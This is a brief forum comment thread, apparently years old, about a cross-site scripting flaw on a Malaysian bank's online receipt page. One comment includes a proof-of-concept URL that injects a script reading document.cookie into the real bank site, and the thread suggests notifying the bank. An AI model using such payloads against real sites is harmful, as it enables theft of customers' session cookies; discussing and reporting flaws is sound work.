3 ms·
Very funny. Nice XSS find.
by teej 16y ago
Very funny. Nice XSS find.
- askar_yu 16y agodidn't notice that right away, nice catch :)
- swwu 16y agoDoesn't strip script tags or anything; lots of nasty stuff you could do with this. Somebody should notify them. https://www.maybank2u.com.my/mbb/m2u/jsp/common/mbbReceipt.jsp?other=%3Cscript%3Ealert(document.cookie);%3C/script%3E https://www.maybank2u.com.my/mbb/m2u/jsp/common/mbbReceipt.j...